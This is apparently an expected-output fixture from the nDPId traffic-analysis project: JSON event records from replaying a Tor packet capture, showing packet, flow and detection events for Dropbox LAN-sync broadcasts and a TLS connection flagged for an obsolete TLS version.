+00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1937,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822134,"pkt_ts_usec":212476,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1937,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1944,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822136,"pkt_ts_usec":212325,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1944,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1945,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822138,"pkt_ts_usec":212314,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1945,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1946,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822140,"pkt_ts_usec":212281,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1946,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1947,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822142,"pkt_ts_usec":212321,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1947,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1948,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822144,"pkt_ts_usec":212343,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1948,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1949,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822146,"pkt_ts_usec":212271,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1949,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1950,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822148,"pkt_ts_usec":212398,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1950,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1951,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822150,"pkt_ts_usec":212222,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1951,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1952,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822152,"pkt_ts_usec":212240,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1952,"source":"tor.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1953,"source":"tor.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1383822153962,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1953,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822153,"pkt_ts_usec":962104,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1953,"source":"tor.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1383822153962,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1954,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822154,"pkt_ts_usec":212265,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1954,"source":"tor.pcap","alias":"nDPId-test","type":38} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1955,"source":"tor.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1383822153962,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1955,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822156,"pkt_ts_usec":212208,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1955,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1956,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822158,"pkt_ts_usec":212282,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1956,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1957,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822160,"pkt_ts_usec":212204,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1957,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1958,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822162,"pkt_ts_usec":212265,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1958,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1959,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822164,"pkt_ts_usec":212767,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1959,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1960,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822166,"pkt_ts_usec":212188,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1960,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1961,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822168,"pkt_ts_usec":212323,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1961,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1975,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822170,"pkt_ts_usec":212297,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1975,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1986,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822172,"pkt_ts_usec":212681,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1986,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2022,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822174,"pkt_ts_usec":212393,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2022,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2042,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822176,"pkt_ts_usec":212178,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2042,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2058,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822178,"pkt_ts_usec":212214,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2058,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2061,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822180,"pkt_ts_usec":212131,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2061,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2066,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822182,"pkt_ts_usec":212191,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2066,"source":"tor.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2067,"source":"tor.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1383822184001,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2067,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822184,"pkt_ts_usec":1176,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2067,"source":"tor.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1383822184001,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2068,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822184,"pkt_ts_usec":212229,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2068,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2069,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822186,"pkt_ts_usec":212454,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2069,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2070,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822188,"pkt_ts_usec":212408,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2070,"source":"tor.pcap","alias":"nDPId-test","type":38} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2071,"source":"tor.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1383822184001,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2071,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822190,"pkt_ts_usec":212084,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2071,"source":"tor.pcap","alias":"nDPId-test","type":38} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2072,"source":"tor.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1383822190886,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2072,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822190,"pkt_ts_usec":886155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQA2EYhUlQAWul3CABFAAA0COtAAIAGZnzAqAH8PtKJ5sfxAbspsDzeAAAAAIACIACTeAAAAgQFtAEDAwgBAQQC"} +00424{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2073,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822190,"pkt_ts_usec":950538,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQAWul3UlQA2EYhCABFAAA0AABAADEGvmc+0onmwKgB\/AG7x\/Gvhi1nKbA834ASOQidcgAAAgQFtAEBBAIBAwMH"} +00414{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2074,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822190,"pkt_ts_usec":951036,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoCOxAAIAGZofAqAH8PtKJ5sfxAbspsDzfr4YtaFAQAQAWTQAAAAAAAAAA"} +00705{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2075,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822190,"pkt_ts_usec":951387,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"UlQA2EYhUlQAWul3CABFAAECCO1AAIAGZazAqAH8PtKJ5sfxAbspsDzfr4YtaFAYAQCdOAAAFgMBANUBAADRAwFSe4F0W8quv62S3\/7ygOUuf1KhU9yi6dM6uUHTsgpIIwAASMAKwBQAiACHADkAOMAPwAUAhAA1wAfACcARwBMARQBEADMAMsAMwA7AAsAEAJYAQQAEAAUAL8AIwBIAFgATwA3AA\/7\/AAoA\/wEAAGAAAAAcABoAABd3d3cuNmd5aXA3dHFpbTdzaWViLmNvbQALAAQDAAECAAoANAAyAAEAAgADAAQABQAGAAcACAAJAAoACwAMAA0ADgAPABAAEQASABMAFAAVABYAFwAYABk="} +00747{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2075,"source":"tor.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1383822190886,"flow_last_seen":1383822190951,"flow_tot_l4_data_len":322,"flow_min_l4_data_len":20,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"www.6gyip7tqim7sieb.com","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2076,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":21804,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"UlQAWul3UlQA2EYhCABFAAAo\/HtAADEGwfc+0onmwKgB\/AG7x\/Gvhi1oKbA9uVAQAHsV+AAA"} 